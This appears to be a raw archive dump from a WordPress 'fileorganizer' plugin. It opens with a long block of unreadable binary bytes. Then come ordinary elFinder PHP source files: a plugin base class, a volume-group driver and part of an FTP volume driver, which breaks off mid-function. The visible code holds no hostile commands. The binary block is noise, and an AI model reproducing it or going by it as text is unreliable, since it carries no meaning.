�r�S�U�����)S����2�`r��`����Z�V���#;��6��t���1f�|w���}�W����g�_����W:W��8�v���$����������E0d��q�T���s��"��T����L��L��v/�#����]�����;������D�������(����}��1������R��!����\���&�����=��("���������������!�����@�����������:������J���s�f��h���p���r��y�t���F��b��_R�/�+���;���W����<��������
�f�	��+��(��_���O�}������$������f�]��LM;���D�c���	������t�T�Z�����������������B(/F�7�"����:����������^���G�Pnj��o���m�9�,x���s�v�5������;p����{����� ���x���������teG��`�E!���^��������6����������L~�����&�4�����r���=��������2����^8��Y��eK�z��������9>��P��!P����e�a��3m��IF<;�����m��,w�s��4J������Y����d�P�w����`���f<��P�O��>��,�S�#��f��l�"8dGC7�����E�M�{������������H�;���� o��~��x�����������(�_�'�j������~���Z�4�5����Gd�W�f��
3���T��
����8"�G�S�$U���(��3�����������������L�G���Q�c�����J�#_�����*�����������g���^��=��C��%�~��?������3�7��OD����_n�[��rv���+��Z��������A���Z����jA������X��[d	n��������� ��I��!��^�9R��l���������������;H6���b�T�x��"�s���q��E0�������P���"�����9���s���qc���N�m]iL"�B�z%������$�M����������X��)zT���'�m�=PO�s�0*�n��$�B1�8�C�c����M���\ ��n�|�����o�	�
�@Vb�������S���������(	���c��U�@��������N��``������w�)���'���q����+&c,24q�7�u�[���=VA�������W�H�������bh���CaY�N�t���4��v�9\��p���i�t���t�B�Y�	�~A8��F�F���
������ K0i]����F�?�=�4�_�V���
y~��5�;�6@&L�U�(<��j��������q�.<����������������:B������
��3�I�������0On�?�c���x������F����
�
D���a����
�,�Q������y�R�g�����v���������cdj�g�����S�L������p�b���7'������
��5�'���MD��L�C���c�]���w�r�m�h�����
,%���������s�l�����vm��������E>xq
�|��:9����������8>������
���������my����$��������
�������������������������NK����������JL����������U�Z�����IOLR��mr��������JM��OQ����B�B���������SR+�*�! ������������/0�� "~���!$v�y�������������9:��9�8�������������A<��V�P�	/(C<����OH����������������~�{���:�8����a_<:��HG�������������BA����������
	������ef����km������#'����W�\��X_�����������w��#�+� ����������KP������gjR�U���36��Y�]����������!�&�������������N�T���s�y�����38��2�6�����������-.j�j�VU��������A?��~�}�54��P�O�H�H���������a�c�MOV�W�������������������d�d���"�"�D�D�uv��h�i�`�b����������15�����!������kr~��������$+������c�i����HM��	
��1�4���IL������-�/���R�S�~��
VX�����������������ps��-0����s�u�������HI[Z����^\[Yv�s�]�Y�����c�_���0,������($��������KI������21����@A;<��S�T���������I�K���������������#"��A�>�i�e���zu&!��:4UOC�=�5�0���4�/�������P�M�1�.�PMSQNLN�L�" U�R�D�B�]�[�^�\�a^WTda51(�%�c�`�nj���C�?���wt��)�'���������������LO��������x��6>������v�������$dm��������em��+0"�'�#�'�`c4702nn����b�b���������ba10��QP����F�C�����������������������QNz�z�f�d�NM����
��������ec����*(���������������3.��MJ����&�%�^�a���OT��5= ��������
~���������"�%���������!*F�?�H�R���0�0�]�`���1+�������������� )���	7�6�G�Q�D�8�;K����KMg�k�����n�q�������%����V�b�]W�������� @������������rf����=4����!#f^����x������:�>��������V�e�W^��]��Q#.�Y���RU0�I�����:	����O;����7L����or���)�F�!y�G��#������w~T'�b�'-��&�l�����e���L�8Z��6�|�D2�����������b���8�������b8��J�����,0���?��8��EJE�����O�g�B����#��q�������1�r����H������
���QO�u1�����}������M�����-�����
�
6�:�����������D��h����H7��9�[�0����|���g��[bG+���`���C�:V����T�&�?�����p�������1�������u�A���(�5P���0���������9��Y�'�!���������6�%�b��W��"���N?J��������(]����Xh����G�4Q|����*S��2�:�b-�������������2��L5�-���M������H�H�AJ�����@�T���9������P���!�������'�()��<^���
���C?�����������/{��d��I��3���#D���.F���Z����"acA��o�e0�U�!������������z�!B8��4����2��������9�i���'?M�����4�
�p��E���Im?d(���E:=��/�*�b���l�!�~�a��{�:�d�_����F��C�,����0��jG�����n���(!��c��ry�x��w5|�������s��q��1U�gD���������v�y����u�_���>�E���Z�+�?�����`�n�`����p	�	������*��;��$��N9$���hV�����p4p����n���h����,7�T�o�����T�"l��Sy{�_���������\�~�WC�|T����)�b�Z�J�e������y4s��e��"��V*m��r~���_�	�K7�_��U�2���k����������_L���FU���?��,�Z�?�0����M���B���I�W���G�R�*c������V��B�����������u�o�&�����bax������g�
�
���5�T�&��������O�'���@��:Yz��d��~���������9�:���`vC��Ks�9����^���R�?�h�N.�B�>����"���������<��n���1����x�2�o�������=����R�:�����P���m�+�.�_>3=�������!/�
��_��TI �Cx�p�>��������2���[�T;U\u����7��#��t�U�z�p����v�����������]0��G(������������������\���l��G~���R���e���������n�dx�_��7�{%��l�������������8��N3�o��T���#�Q�/�0�?D���[�d���
��A����A@�J���c���|�@�e�4�N��������g]�����W�~��C�����"��l	V{����	���E� 7������q
��/��c���o�8����.������qR�V�p��r*���6�����m�����H�����x�	��i�B�p�|�5��3�"���d�9����S��������jk��?������}�0���EA~�Y��,�����4�����5���]�%��=���5��q�������-�s�)z;����H"����-����u�=����r�*�d�0V����N*M������Wo�!7�0����V]�������}������@����_����V����@��'������F�4�S��$��L����	3��m���IM������:3�:=���D%=o���5�>�����+��������IJ��B�x������������^��������i�X����\������	���M���d��*��C�J���H�I�����������O��E����,�s�g��'��#�Q����0��h!������t�����P���<]��-�@Q�����F�[w(
�����]n�
s��x���N��Z���0�%�\��O���������D���C�!��-�2{�n�����'�)����e����c|%�����\�.�N�rp���
�j�H����f	CN�������0�������R!%���Y��n��,�r�Z'��7V�P���3~���6������GyV���v�7p#����������M��^��H�9<K���������w���sB��P�#x�P���4�����cXU����,����#`�v����;�e�0�vZ���W�*�|����}�����Sm� ��X����v�u���k�Y�����>1}�)����{����dV	��V�~��z�������C�h���M*��z��4���2������u�!��>Jt��p����X��S�����=�`� ���W���a����_[��	���>f�Y����D����>��8K���:��z���	R��J��r����1���"��M����t����o��(���*�b��%2=��������N�)������a��p�����y�4C��0)����!,����zf
���^�Z��#Y����h�d�4O7m�����.j����"��(������������eV���w���!I�9���1���* �������?V�|�����0.R�����������v��?,����5���\�u�b���!���������C&���*�����������E=]R~�t6�������=,��������&������������������"����),�I���������$#

����������p���W`^�P�io
���������jp����JJ���������$�*�"��b�e�	=6!&������1�8���������2"�����>9q�u���a`����3-��������WV��� !����j�l���&%	�������������$
��[�W�JI������}x�����������\X����7�2�u�s���������mh������^Y����������������c_����
��*'/,fc��������a�]�����nk����YV��~�������&$&$����(&)'	����HF
b_4�1�������.,����'$=:��# ������a�^�����&#���jg2/>;��,)������������r�o���)%plA>���RO��o�l���������!qo��|�z�U�S�����-,ll22��hh0�1�����������D�G�OR&)��������������������.3X�\�����������vy������������.0)*���b�c�LM!"��������44JJ������������de,.()C�D�����24������������W[������/3����������Y�\�������������<?1�4������TW�����������;@��lr����Y`}�4�<�����������%t�~�����������T]7A��{�B�I�������	EH����kmrs��43O�N�T�S�5�5�! ����������������)(~�~�����
����LO��?�C�
9>i�n� �&�AG��������	7=�����������������������������
pr��e�f�'(�������PP��
����q�s���������DFGJNR-1����)-������{�	��������_c��AD�������5�6�TT��:9����~�����=9����
}x��)$��������B>74������B�A�! 		��WX�������q�s�QT������`c>A����
ad!#��������""�����������������TQ/-tq�����R�O�����VS������~{ ����! ('�����������44����������������u�t�A@������ "��������	LI>:���������~������v�s� �� ������*+MM������
,-������
����//XX��������@>42'$���������(&-*�����������77//������56��MNRTX�Y�������!AB�� ������������������-,������	�������75����&&������@A������������
,-[\��#$�� ����$$��������������������������������������'&�������GF55����������**�����������23����������+,""ssM�M�������y�x�))JI���������������;:����RR������/089:;UV
������������`a;<

��������������>>��
11UT����BB��/.*)��������" ������30��������.,����������������������������kkcc�����������+.������377<������������������
,-��%$A@������������
'#��
�������hg������
>?���������������������%%����'&����������������}�{�������BB��X�Y���k�m�x�{�HK}���"�����������������G�K�X\hl����
ps������ss������	KH��^Zt�p� ��pk������������Z�V���������mk|z��zy��=�=�����{�{��������m�o������su����������E�F�����f�g�a�a�kj%%dcHG��������XW43��{�z�'�&���������,,��������IJLNl�n�24	����������-1������GK��������[]
�������;;����wv����@=c_OJXT������@;��
mg������83����=9��(&Q�P�����bbFG��IK��OR��-1"&��26����	����-1����-0%'���������������������>>��������������z�{���cc-.����UW	������%)8<������ $��������76������JF���<5��0(
��
��]S��A7���������3-�|��*($#23����������

5>^�h�+6L�X���)������LW����������
dj16��&(��������]X
�������@78/
����
��������51	����������/0������

�����������?A��))��DD54/.�������������.+���������������
����������� ��#-1����������������

! 
	
����{�x�������2/,)

MJ����,*����������==������������������������12��������

�����������������23����EF������������PQ����
+-��&'�������������������3456�����������00		��
*)��
�����������.+�����������)&��

�������������*, "������ "�����������+.��+-��������PQ����..������������������������64�����������B@(&����������*)TT������cc��op�!"������mn�����������������##pppo

����43 ��������������?=QP�����.,����������56�����������������68�����������������57Z[++���������������������)(,+����������������������((??����))������*)

��������������	�������������������������������"#�������������

��
����������������������������
���


������������������������������

����������������������

�������	
��������	������������������������������%$�����������������������

��������������	��	
����
��������������������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������	������������������������������������������������������������������������������

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������		����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PK���[�9��

?wp-content/plugins/fileorganizer/manager/php/elFinderPlugin.phpnu�[���<?php

/**
 * elFinder Plugin Abstract
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPlugin
{

    /**
     * This plugin's options
     *
     * @var array
     */
    protected $opts = array();

    /**
     * Get current volume's options
     *
     * @param object $volume
     *
     * @return array options
     */
    protected function getCurrentOpts($volume)
    {
        $name = substr(get_class($this), 14); // remove "elFinderPlugin"
        $opts = $this->opts;
        if (is_object($volume)) {
            $volOpts = $volume->getOptionsPlugin($name);
            if (is_array($volOpts)) {
                $opts = array_merge($opts, $volOpts);
            }
        }
        return $opts;
    }

    /**
     * Is enabled with options
     *
     * @param array    $opts
     * @param elFinder $elfinder
     *
     * @return boolean
     */
    protected function iaEnabled($opts, $elfinder = null)
    {
        if (!$opts['enable']) {
            return false;
        }

        // check post var 'contentSaveId' to disable this plugin
        if ($elfinder && !empty($opts['disableWithContentSaveId'])) {
            $session = $elfinder->getSession();
            $urlContentSaveIds = $session->get('urlContentSaveIds', array());
            if (!empty(elFinder::$currentArgs['contentSaveId']) && ($contentSaveId = elFinder::$currentArgs['contentSaveId'])) {
                if (!empty($urlContentSaveIds[$contentSaveId])) {
                    $elfinder->removeUrlContentSaveId($contentSaveId);
                    return false;
                }
            }
        }

        if (isset($opts['onDropWith']) && !is_null($opts['onDropWith'])) {
            // plugin disabled by default, enabled only if given key is pressed
            if (isset($_REQUEST['dropWith']) && $_REQUEST['dropWith']) {
                $onDropWith = $opts['onDropWith'];
                $action = (int)$_REQUEST['dropWith'];
                if (!is_array($onDropWith)) {
                    $onDropWith = array($onDropWith);
                }
                foreach ($onDropWith as $key) {
                    $key = (int)$key;
                    if (($action & $key) === $key) {
                        return true;
                    }
                }
            }
            return false;
        }

        if (isset($opts['offDropWith']) && !is_null($opts['offDropWith']) && isset($_REQUEST['dropWith'])) {
            // plugin enabled by default, disabled only if given key is pressed
            $offDropWith = $opts['offDropWith'];
            $action = (int)$_REQUEST['dropWith'];
            if (!is_array($offDropWith)) {
                $offDropWith = array($offDropWith);
            }
            $res = true;
            foreach ($offDropWith as $key) {
                $key = (int)$key;
                if ($key === 0) {
                    if ($action === 0) {
                        $res = false;
                        break;
                    }
                } else {
                    if (($action & $key) === $key) {
                        $res = false;
                        break;
                    }
                }
            }
            if (!$res) {
                return false;
            }
        }

        return true;
    }
}
PK���[h����Jwp-content/plugins/fileorganizer/manager/php/elFinderVolumeGroup.class.phpnu�[���<?php

/**
 * elFinder driver for Volume Group.
 *
 * @author Naoki Sawada
 **/
class elFinderVolumeGroup extends elFinderVolumeDriver
{

    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id
     *
     * @var string
     **/
    protected $driverId = 'g';


    /**
     * Constructor
     * Extend options with required fields
     */
    public function __construct()
    {
        $this->options['type'] = 'group';
        $this->options['path'] = '/';
        $this->options['dirUrlOwn'] = true;
        $this->options['syncMinMs'] = 0;
        $this->options['tmbPath'] = '';
        $this->options['disabled'] = array(
            'archive',
            'copy',
            'cut',
            'duplicate',
            'edit',
            'empty',
            'extract',
            'getfile',
            'mkdir',
            'mkfile',
            'paste',
            'resize',
            'rm',
            'upload'
        );
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /*********************** paths/urls *************************/

    /**
     * @inheritdoc
     **/
    protected function _dirname($path)
    {
        return '/';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _basename($path)
    {
        return '';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _joinPath($dir, $name)
    {
        return '/' . $name;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _normpath($path)
    {
        return '/';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _relpath($path)
    {
        return '/';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _abspath($path)
    {
        return '/';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _path($path)
    {
        return '/';
    }

    /**
     * {@inheritDoc}
     **/
    protected function _inpath($path, $parent)
    {
        return false;
    }



    /***************** file stat ********************/

    /**
     * {@inheritDoc}
     **/
    protected function _stat($path)
    {
        if ($path === '/') {
            return array(
                'size' => 0,
                'ts' => 0,
                'mime' => 'directory',
                'read' => true,
                'write' => false,
                'locked' => true,
                'hidden' => false,
                'dirs' => 0
            );
        }
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _subdirs($path)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _dimensions($path, $mime)
    {
        return false;
    }
    /******************** file/dir content *********************/

    /**
     * {@inheritDoc}
     **/
    protected function readlink($path)
    {
        return null;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _scandir($path)
    {
        return array();
    }

    /**
     * {@inheritDoc}
     **/
    protected function _fopen($path, $mode = 'rb')
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _fclose($fp, $path = '')
    {
        return true;
    }

    /********************  file/dir manipulations *************************/

    /**
     * {@inheritDoc}
     **/
    protected function _mkdir($path, $name)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _mkfile($path, $name)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _symlink($source, $targetDir, $name)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _copy($source, $targetDir, $name)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _move($source, $targetDir, $name)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _unlink($path)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _rmdir($path)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _save($fp, $dir, $name, $stat)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _getContents($path)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _filePutContents($path, $content)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _checkArchivers()
    {
        return;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _chmod($path, $mode)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _findSymlinks($path)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _extract($path, $arc)
    {
        return false;
    }

    /**
     * {@inheritDoc}
     **/
    protected function _archive($dir, $files, $name, $arc)
    {
        return false;
    }
}

PK���[T�iT����Hwp-content/plugins/fileorganizer/manager/php/elFinderVolumeFTP.class.phpnu�[���<?php

/**
 * Simple elFinder driver for FTP
 *
 * @author Dmitry (dio) Levashov
 * @author Cem (discofever)
 **/
class elFinderVolumeFTP extends elFinderVolumeDriver
{

    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id
     *
     * @var string
     **/
    protected $driverId = 'f';

    /**
     * FTP Connection Instance
     *
     * @var resource a FTP stream
     **/
    protected $connect = null;

    /**
     * Directory for tmp files
     * If not set driver will try to use tmbDir as tmpDir
     *
     * @var string
     **/
    protected $tmpPath = '';

    /**
     * Last FTP error message
     *
     * @var string
     **/
    protected $ftpError = '';

    /**
     * FTP server output list as ftp on linux
     *
     * @var bool
     **/
    protected $ftpOsUnix;

    /**
     * FTP LIST command option
     *
     * @var string
     */
    protected $ftpListOption = '-al';


    /**
     * Is connected server Pure FTPd?
     *
     * @var bool
     */
    protected $isPureFtpd = false;

    /**
     * Is connected server with FTPS?
     *
     * @var bool
     */
    protected $isFTPS = false;

    /**
     * Tmp folder path
     *
     * @var string
     **/
    protected $tmp = '';

    /**
     * FTP command `MLST` support
     *
     * @var bool
     */
    private $MLSTsupprt = false;

    /**
     * Calling cacheDir() target path with non-MLST
     *
     * @var string
     */
    private $cacheDirTarget = '';

    /**
     * Constructor
     * Extend options with required fields
     *
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     */
    public function __construct()
    {
        $opts = array(
            'host' => 'localhost',
            'user' => '',
            'pass' => '',
            'port' => 21,
            'mode' => 'passive',
            'ssl' => false,
            'path' => '/',
            'timeout' => 20,
            'owner' => true,
            'tmbPath' => '',
            'tmpPath' => '',
            'separator' => '/',
            'checkSubfolders' => -1,
            'dirMode' => 0755,
            'fileMode' => 0644,
            'rootCssClass' => 'elfinder-navbar-root-ftp',
            'ftpListOption' => '-al',
        );
        $this->options = array_merge($this->options, $opts);
        $this->options['mimeDetect'] = 'internal';
    }

    /**
     * Prepare
     * Call from elFinder::netmout() before volume->mount()
     *
     * @param $options
     *
     * @return array volume root options
     * @author Naoki Sawada
     */
    public function netmountPrepare($options)
    {
        if (!empty($_REQUEST['encoding']) && iconv('UTF-8', $_REQUEST['encoding'], '') !== false) {
            $options['encoding'] = $_REQUEST['encoding'];
            if (!empty($_REQUEST['locale']) && setlocale(LC_ALL, $_REQUEST['locale'])) {
                setlocale(LC_ALL, elFinder::$locale);
                $options['locale'] = $_REQUEST['locale'];
            }
        }
        if (!empty($_REQUEST['FTPS'])) {
            $options['ssl'] = true;
        }
        $options['statOwner'] = true;
        $options['allowChmodReadOnly'] = true;
        $options['acceptedName'] = '#^[^/\\?*:|"<>]*[^./\\?*:|"<>]$#';
        return $options;
    }

    /*********************************************************************/
    /*                        INIT AND CONFIGURE                         */
    /*********************************************************************/

    /**
     * Prepare FTP connection
     * Connect to remote server and check if credentials are correct, if so, store the connection id in $ftp_conn
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    protected function init()
    {
        if (!$this->options['host']
            || !$this->options['port']) {
            return $this->setError('Required options undefined.');
        }

        if (!$this->options['user']) {
            $this->options['user'] = 'anonymous';
            $this->options['pass'] = '';
        }
        if (!$this->options['path']) {
            $this->options['path'] = '/';
        }

        // make ney mount key
        $this->netMountKey = md5(join('-', array('ftp', $this->options['host'], $this->options['port'], $this->options['path'], $this->options['user'])));

        if (!function_exists('ftp_connect')) {
            return $this->setError('FTP extension not loaded.');
        }

        // remove protocol from host
        $scheme = parse_url($this->options['host'], PHP_URL_SCHEME);

        if ($scheme) {
            $this->options['host'] = substr($this->options['host'], strlen($scheme) + 3);
        }

        // normalize root path
        $this->root = $this->options['path'] = $this->_normpath($this->options['path']);

        if (empty($this->options['alias'])) {
            $this->options['alias'] = $this->options['user'] . '@' . $this->options['host'];
            if (!empty($this->options['netkey'])) {
                elFinder::$instance->updateNetVolumeOption($this->options['netkey'], 'alias', $this->options['alias']);
            }
        }

        $this->rootName = $this->options['alias'];
        $this->options['separator'] = '/';

        if (is_null($this->options['syncChkAsTs'])) {
            $this->options['syncChkAsTs'] = true;
        }

        if (isset($this->options['ftpListOption'])) {
            $this->ftpListOption = $this->options['ftpListOption'];
        }

        return $this->needOnline? $this->connect() : true;

    }


    /**
     * Configure after successfull mount.
     *
     * @return void
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function configure()
    {
        parent::configure();

        if (!empty($this->options['tmpPath'])) {
            if ((is_dir($this->options['tmpPath']) || mkdir($this->options['tmpPath'], 0755, true)) && is_writable($this->options['tmpPath'])) {
                $this->tmp = $this->options['tmpPath'];
            }
        }
        if (!$this->tmp && ($tmp = elFinder::getStaticVar('commonTempPath'))) {
            $this->tmp = $tmp;
        }

        // fallback of $this->tmp
        if (!$this->tmp && $this->tmbPathWritable) {
            $this->tmp = $this->tmbPath;
        }

        if (!$this->tmp) {
            $this->disabled[] = 'mkfile';
            $this->disabled[] = 'paste';
            $this->disabled[] = 'duplicate';
            $this->disabled[] = 'upload';
            $this->disabled[] = 'edit';
            $this->disabled[] = 'archive';
            $this->disabled[] = 'extract';
        }

        // echo $this->tmp;

    }

    /**
     * Connect to ftp server
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function connect()
    {
        $withSSL = empty($this->options['ssl']) ? '' : ' with SSL';
        if ($withSSL) {
            if (!function_exists('ftp_ssl_connect') || !($this->connect = ftp_ssl_connect($this->options['host'], $this->options['port'], $this->options['timeout']))) {
                return $this->setError('Unable to connect to FTP server ' . $this->options['host'] . $withSSL);
            }
            $this->isFTPS = true;
        } else {
            if (!($this->connect = ftp_connect($this->options['host'], $this->options['port'], $this->options['timeout']))) {
                return $this->setError('Unable to connect to FTP server ' . $this->options['host']);
            }
        }
        if (!ftp_login($this->connect, $this->options['user'], $this->options['pass'])) {
            $this->umount();
            return $this->setError('Unable to login into ' . $this->options['host'] . $withSSL);
        }

        // try switch utf8 mode
        if ($this->encoding) {
            ftp_raw($this->connect, 'OPTS UTF8 OFF');
        } else {
            ftp_raw($this->connect, 'OPTS UTF8 ON');
        }

        $help = ftp_raw($this->connect, 'HELP');
        $this->isPureFtpd = stripos(implode(' ', $help), 'Pure-FTPd') !== false;

        if (!$this->isPureFtpd) {
            // switch off extended passive mode - may be usefull for some servers
            // this command, for pure-ftpd, doesn't work and takes a timeout in some pure-ftpd versions
            ftp_raw($this->connect, 'epsv4 off');
        }
        // enter passive mode if required
        $pasv = ($this->options['mode'] == 'passive');
        if (!ftp_pasv($this->connect, $pasv)) {
            if ($pasv) {
                $this->options['mode'] = 'active';
            }
        }

        // enter root folder
        if (!ftp_chdir($this->connect, $this->root)
            || $this->root != ftp_pwd($this->connect)) {
            $this->umount();
            return $this->setError('Unable to open root folder.');
        }

        // check for MLST support
        $features = ftp_raw($this->connect, 'FEAT');
        if (!is_array($features)) {
            $this->umount();
            return $this->setError('Server does not support command FEAT.');
        }

        foreach ($features as $feat) {
            if (strpos(trim($feat), 'MLST') === 0) {
                $this->MLSTsupprt = true;
                break;
            }
        }

        return true;
    }

    /**
     * Call ftp_rawlist with option prefix
     *
     * @param string $path
     *
     * @return array
     */
    protected function ftpRawList($path)
    {
        if ($this->isPureFtpd) {
            $path = str_replace(' ', '\ ', $path);
        }
        if ($this->ftpListOption) {
            $path = $this->ftpListOption . ' ' . $path;
        }
        $res = ftp_rawlist($this->connect, $path);
        if ($res === false) {
            $res = array();
        }
        return $res;
    }

    /*********************************************************************/
    /*                               FS API                              */
    /*********************************************************************/

    /**
     * Close opened connection
     *
     * @return void
     * @author Dmitry (dio) Levashov
     **/
    public function umount()
    {
        $this->connect && ftp_close($this->connect);
    }


    /**
     * Parse line from ftp_rawlist() output and return file stat (array)
     *
     * @param  string $raw line from ftp_rawlist() output
     * @param         $base
     * @param bool    $nameOnly
     *
     * @return array
     * @author Dmitry Levashov
     */
    protected function parseRaw($raw, $base, $nameOnly = false)
    {
        static $now;
        static $lastyear;

        if (!$now) {
            $now = time();
            $lastyear = date('Y') - 1;
        }

        $info = preg_split("/\s+/", $raw, 8);
        if (isset($info[7])) {
        	list($info[7], $info[8]) = explode(' ', $info[7], 2);
        }
        $stat = array();

        if (!isset($this->ftpOsUnix)) {
            $this->ftpOsUnix = !preg_match('/\d/', substr($info[0], 0, 1));
        }
        if (!$this->ftpOsUnix) {
            $info = $this->normalizeRawWindows($raw);
        }

        if (count($info) < 9 || $info[8] == '.' || $info[8] == '..') {
            return false;
        }

        $name = $info[8];

        if (preg_match('|(.+)\-\>(.+)|', $name, $m)) {
            $name = trim($m[1]);
            // check recursive processing
            if ($this->cacheDirTarget && $this->_joinPath($base, $name) !== $this->cacheDirTarget) {
                return array();
            }
            if (!$nameOnly) {
                $target = trim($m[2]);
                if (substr($target, 0, 1) !== $this->separator) {
                    $target = $this->getFullPath($target, $base);
                }
                $target = $this->_normpath($target);
                $stat['name'] = $name;
                $stat['target'] = $target;
                return $stat;
            }
        }

        if ($nameOnly) {
            return array('name' => $name);
        }

        if (is_numeric($info[5]) && !$info[6] && !$info[7]) {
            // by normalizeRawWindows()
            $stat['ts'] = $info[5];
        } else {
            $stat['ts'] = strtotime($info[5] . ' ' . $info[6] . ' ' . $info[7]);
            if ($stat['ts'] && $stat['ts'] > $now && strpos($info[7], ':') !== false) {
                $stat['ts'] = strtotime($info[5] . ' ' . $info[6] . ' ' . $lastyear . ' ' . $info[7]);
            }
            if (empty($stat['ts'])) {
                $stat['ts'] = strtotime($info[6] . ' ' . $info[5] . ' ' . $info[7]);
                if ($stat['ts'] && $stat['ts'] > $now && strpos($info[7], ':') !== false) {
                    $stat['ts'] = strtotime($info[6] . ' ' . $info[5] . ' ' . $lastyear . ' ' . $info[7]);
                }
            }
        }

        if ($this->options['statOwner']) {
            $stat['owner'] = $info[2];
            $stat['group'] = $info[3];
            $stat['perm'] = substr($info[0], 1);
            //
            // if not exists owner in LS ftp ==>                    isowner = true
            // if is defined as option : 'owner' => true            isowner = true
            //
            // if exist owner in LS ftp  and 'owner' => False       isowner =   result of    owner(file) == user(logged with ftp)
            //
            $stat['isowner'] = isset($stat['owner']) ? ($this->options['owner'] ? true : ($stat['owner'] == $this->options['user'])) : true;
        }

        $owner_computed = isset($stat['isowner']) ? $stat['isowner'] : $this->options['owner'];
        $perm = $this->parsePermissions($info[0], $owner_computed);
        $stat['name'] = $name;
        $stat['mime'] = substr(strtolower($info[0]), 0, 1) == 'd' ? 'directory' : $this->mimetype($stat['name'], true);
        $stat['size'] = $stat['mime'] == 'directory' ? 0 : $info[4];
        $stat['read'] = $perm['read'];
        $stat['write'] = $perm['write'];

        return $stat;
    }

    /**
     * Normalize MS-DOS style FTP LIST Raw line
     *
     * @param  string $raw line from FTP LIST (MS-DOS style)
     *
     * @return array
     * @author Naoki Sawada
     **/
    protected function normalizeRawWindows($raw)
    {
        $info = array_pad(array(), 9, '');
        $item = preg_replace('#\s+#', ' ', trim($raw), 3);
        list($date, $time, $size, $name) = explode(' ', $item, 4);
        $format = strlen($date) === 8 ? 'm-d-yH:iA' : 'Y-m-dH:i';
        $dateObj = DateTime::createFromFormat($format, $date . $time);
        $info[5] = strtotime($dateObj->format('Y-m-d H:i'));
        $info[8] = $name;
        if ($size === '<DIR>') {
            $info[4] = 0;
            $info[0] = 'drwxr-xr-x';
        } else {
            $info[4] = (int)$size;
            $info[0] = '-rw-r--r--';
        }
        return $info;
    }

    /**
     * Parse permissions string. Return array(read => true/false, write => true/false)
     *
     * @param  string $perm                        permissions string   'rwx' + 'rwx' + 'rwx'
     *                                             ^       ^       ^
     *                                             |       |       +->   others
     *                                             |       +--------->   group
     *                                             +----------------->   owner
     *                                             The isowner parameter is computed by the caller.
     *                                             If the owner parameter in the options is true, the user is the actual owner of all objects even if che user used in the ftp Login
     *                                             is different from the file owner id.
     *                                             If the owner parameter is false to understand if the user is the file owner we compare the ftp user with the file owner id.
     * @param Boolean $isowner                     . Tell if the current user is the owner of the object.
     *
     * @return array
     * @author Dmitry (dio) Levashov
     * @author Ugo Vierucci
     */
    protected function parsePermissions($perm, $isowner = true)
    {
        $res = array();
        $parts = array();
        for ($i = 0, $l = strlen($perm); $i < $l; $i++) {
            $parts[] = substr($perm, $i, 1);
        }

        $read = ($isowner && $parts[1] == 'r') || $parts[4] == 'r' || $parts[7] == 'r';

        return array(
            'read' => $parts[0] == 'd' ? $read && (($isowner && $parts[3] == 'x') || $parts[6] == 'x' || $parts[9] == 'x') : $read,
            'write' => ($isowner && $parts[2] == 'w') || $parts[5] == 'w' || $parts[8] == 'w'
        );
    }

    /**
     * Cache dir contents
     *
     * @param  string $path dir path
     *
     * @return void
     * @author Dmitry Levashov
     **/
    protected function cacheDir($path)
    {
        $this->dirsCache[$path] = array();
        $hasDir = false;

        $list = array();
        $encPath = $this->convEncIn($path);
        foreach ($this->ftpRawList($encPath) as $raw) {
            if (($stat = $this->parseRaw($raw, $encPath))) {
                $list[] = $stat;
            }
        }
        $list = $this->convEncOut($list);
        $prefix = ($path === $this->separator) ? $this->separator : $path . $this->separator;
        $targets = array();
        foreach ($list as $stat) {
            $p = $prefix . $stat['name'];
            if (isset($stat['target'])) {
                // stat later
                $targets[$stat['name']] = $stat['target'];
            } else {
                $stat = $this->updateCache($p, $stat);
                if (empty($stat['hidden'])) {
                    if (!$hasDir && $stat['mime'] === 'directory') {
                        $hasDir = true;
                    }
                    $this->dirsCache[$path][] = $p;
                }
            }
        }
        // stat link targets
        foreach ($targets as $name => $target) {
            $stat = array();
            $stat['name'] = $name;
            $p = $prefix . $name;
            $cacheDirTarget = $this->cacheDirTarget;
            $this->cacheDirTarget = $this->convEncIn($target, true);
            if ($tstat = $this->stat($target)) {
                $stat['size'] = $tstat['size'];
                $stat['alias'] = $target;
